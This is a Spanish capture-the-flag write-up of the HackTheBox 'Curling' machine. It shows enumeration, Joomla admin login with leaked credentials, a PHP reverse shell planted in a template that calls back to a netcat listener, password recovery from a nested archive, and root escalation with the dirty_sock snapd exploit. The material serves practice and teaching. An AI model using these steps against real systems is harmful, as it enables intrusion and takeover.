Curling es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Curling 10.10.10.150 a /etc/hosts como curling.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
# Nmap 7.70 scan initiated Fri Feb 12 13:32:43 2021 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.150 Nmap scan report for 10.10.10.150 Host is up (0.048s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA) | 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA) |_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: Joomla! - Open Source Content Management |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Feb 12 13:33:33 2021 -- 1 IP address (1 host up) scanned in 50.29 seconds |
Obtenemos sólo un portal web en el puerto 80 para comenzar el escaneo así que vamos a partir en ese punto.
Enumeracion
Accedemos en primer lugar al puerto 80 y encontramos el siguiente portal web:
A simple vista no vemos mucha información útil, así que revisamos el código fuente y encontramos un comentario casi al final de la página:
1 |
<!-- secret.txt --> |
Parece indicar que existe un fichero así que tratamos de obtener el mismo en el navegador cuyo contenido es el siguiente:
1 |
Q3VybGluZzIwMTgh |
Parece un código en base64, así que decodificamos el mismo y obtenemos lo que parece ser una password:
1 2 |
$ echo "Q3VybGluZzIwMTgh"|base64 -d Curling2018! |
Tenemos una password, pero necesitaremos también un usuario si queremos poder hacer algo con ello, así que volvemos al portal y encontramos un nombre de usuario en el siguiente texto:
1 2 |
<p>Hey this is the first post on this amazing website! Stay tuned for more amazing content! curling2018 for the win!</p> <p>- Floris</p> |
Indica que es el primer post del sitio web y que el autor del mismo es el usuario Floris, así que vamos a loguearnos con este usuario y la clave que obtuvimos anteriormente:
Y bingo!, estamos dentro, además observamos en el bloque de login que somos “Super User” por lo que tenemos permisos elevados en el portal.
Llegados a este punto parece que no podemos ver mucho más así que vamos a lanzar gobuster con la idea de encontrar algún directorio desconocido hasta el momento
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
$ gobuster dir -u http://10.10.10.150 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.150 [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2021/02/12 13:39:29 Starting gobuster =============================================================== /images (Status: 301) /media (Status: 301) /templates (Status: 301) /modules (Status: 301) /bin (Status: 301) /plugins (Status: 301) /includes (Status: 301) /language (Status: 301) /components (Status: 301) /cache (Status: 301) /libraries (Status: 301) /tmp (Status: 301) /layouts (Status: 301) /administrator (Status: 301) /cli (Status: 301) /server-status (Status: 403) =============================================================== 2021/02/12 13:58:32 Finished =============================================================== |
Y observamos, entre otras, una dirección muy interesante bajo la uri /administrator, así que vamos a ella y observamos el panel de login del cms joomla:
Ahora nos queda probar las mismas claves que utilizamos en la página principal del portal y acceder al panel de administrador del sitio:
Hemos conseguido acceder, así que el siguiente paso, será tratar de subir una reverse shell al mismo con la idea de ganar acceso a la máquina.
Nos iremos a la sección de Extensions -> templates
Y editaremos una de ellas, en nuestro caso lo hemos realizado sobre el template beef
Y ahora subiremos nuestra shell, que en nuestro caso, hemos utilizado la reverse shell de pentestmonkeys.
Una vez subida, accedemos a la misma a través del navegador, en nuestro caso en la url siguiente
1 |
http://10.10.10.150/templates/beez3/shell.php |
Y obtendremos acceso como www-data en nuestra escucha en netcat
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.150] 38198 Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux 12:52:32 up 16 min, 0 users, load average: 0.00, 0.03, 0.04 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ |
Revisamos la máquina y encontramos un fichero interesante en la home del usuario floris:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
$ cd /home $ ls floris $ ls -l total 4 drwxr-xr-x 6 floris floris 4096 May 22 2018 floris $ cd floris $ ls -l total 12 drwxr-x--- 2 root floris 4096 May 22 2018 admin-area -rw-r--r-- 1 floris floris 1076 May 22 2018 password_backup -rw-r----- 1 floris floris 33 May 22 2018 user.txt $ cat password_backup 00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H.. 00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4 00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...` 00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@...... 00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h.. 00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4 00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J.. 00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x 00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1 00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s." 000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R. 000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p.. 000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C 000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*.. 000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P. 000000f0: 819b bb48 ...H $ file password_backup password_backup: ASCII text $ |
Nos descargaremos el fichero en nuestra máquina y trataremos de hacerle el reverse al código hex que encontramos en el fichero
1 |
$ xxd -r password_backup > pw_backup |
Obteniendo un fichero comprimido con bzip2
1 2 |
$ file pw_backup pw_backup: bzip2 compressed data, block size = 900k |
Descomprimimos el mismo y obtendremos un fichero gzip
1 2 3 4 |
$ bzip2 -d pw_backup bzip2: Can't guess original name for pw_backup -- using pw_backup.out $ file pw_backup.out pw_backup.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141 |
Renombraremos el mismo a .gz, y lo descomprimimos, obteniendo otro fichero bzip2
1 2 3 4 |
$ mv pw_backup.out pw_backup.out.gz $ gzip -d pw_backup.out.gz $ file pw_backup.out pw_backup.out: bzip2 compressed data, block size = 900k |
Descomprimimos de nuevo el mismo, obteniendo en este caso un fichero tar
1 2 3 4 |
$ bzip2 -d pw_backup.out bzip2: Can't guess original name for pw_backup.out -- using pw_backup.out.out $ file pw_backup.out.out pw_backup.out.out: POSIX tar archive (GNU) |
Renombramos el mismo y lo descomprimimos obteniendo un fichero txt con una password
1 2 3 4 |
$ mv pw_backup.out.out pw_backup.tar $ tar xf pw_backup.tar $ cat password.txt 5d<wdCbdZu)|hChXll |
Ahora nos queda probar el acceso por ssh con el usuario floris y la clave obtenida
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ ssh floris@10.10.10.150 floris@10.10.10.150's password: Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-22-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri Feb 12 13:05:32 UTC 2021 System load: 0.0 Processes: 172 Usage of /: 46.4% of 9.78GB Users logged in: 0 Memory usage: 25% IP address for ens33: 10.10.10.150 Swap usage: 0% 0 packages can be updated. 0 updates are security updates. Last login: Mon May 28 17:00:48 2018 from 192.168.1.71 floris@curling:~$ id uid=1000(floris) gid=1004(floris) groups=1004(floris) |
Obteniendo la flag de user
Una vez obtenido el acceso con el usuario floris, nos queda ir a la home del mismo a conseguir nuestra flag de user
1 2 3 4 5 6 7 8 |
floris@curling:~$ ls -l total 12 drwxr-x--- 2 root floris 4096 May 22 2018 admin-area -rw-r--r-- 1 floris floris 1076 May 22 2018 password_backup -rw-r----- 1 floris floris 33 May 22 2018 user.txt floris@curling:~$ cat user.txt 6xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxb floris@curling:~$ |
Escalado de privilegios
Ahora para el escalado, revisamos en primer lugar si el usuario dispone de algún permiso como root, pero sin éxito
1 2 3 |
floris@curling:~$ sudo -l [sudo] password for floris: Sorry, user floris may not run sudo on curling. |
Así que enumeramos el sistema, posibles procesos y encontramos un directorio interesante en la home de este usuario
1 2 3 4 5 6 |
floris@curling:~/admin-area$ ll total 28 drwxr-x--- 2 root floris 4096 May 22 2018 ./ drwxr-xr-x 6 floris floris 4096 May 22 2018 ../ -rw-rw---- 1 root floris 25 Feb 12 13:07 input -rw-rw---- 1 root floris 14236 Feb 12 13:07 report |
En el cual vemos dos ficheros, en primer lugar el fichero input incluye una variable url
1 2 |
floris@curling:~/admin-area$ cat input url = "http://127.0.0.1" |
Y el fichero report guarda el resultado de la petición a la url indicada en el fichero anterior.
Realizamos varias pruebas y comprobamos los permisos y descubrimos que el proceso encargado está siendo ejecutado por el usuario root, por lo que puede ser nuestra forma de escalar privilegios.
Realizamos unas búsquedas más y encontramos que el sistema es vulnerable a CVE-2019-7304 conocida como dirty-sock, así que nos descargamos el exploit en github y lo subimos a la máquina.
A continuación ejecutaremos nuestro exploit obteniendo el siguiente resultado
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
floris@curling:~/admin-area$ python3 dirty_sockv2.py ___ _ ____ ___ _ _ ____ ____ ____ _ _ | \ | |__/ | \_/ [__ | | | |_/ |__/ | | \ | | ___ ___] |__| |___ | \_ (version 2) //=========[]==========================================\\ || R&D || initstring (@init_string) || || Source || https://github.com/initstring/dirty_sock || || Details || https://initblog.com/2019/dirty-sock || \\=========[]==========================================// [+] Slipped dirty sock on random socket file: /tmp/lsldogexsi;uid=0; [+] Binding to socket file... [+] Connecting to snapd API... [+] Deleting trojan snap (and sleeping 5 seconds)... [+] Installing the trojan snap (and sleeping 8 seconds)... [+] Deleting trojan snap (and sleeping 5 seconds)... ******************** Success! You can now `su` to the following account and use sudo: username: dirty_sock password: dirty_sock ******************** |
La ejecución ha sido un éxito así que escalaremos a este usuario
1 2 3 4 |
floris@curling:~/admin-area$ su dirty_sock Password: To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. |
Y posteriormente a root
1 2 3 4 |
irty_sock@curling:/home/floris/admin-area$ sudo su [sudo] password for dirty_sock: root@curling:/home/floris/admin-area# id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Ahora que ya somos root, sólo nos queda ir a la home del usuario y conseguir nuestra flag
1 2 3 4 5 |
root@curling:/home/floris/admin-area# root@curling:/home/floris/admin-area# cd /root root@curling:~# cat root.txt 8xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx root@curling:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace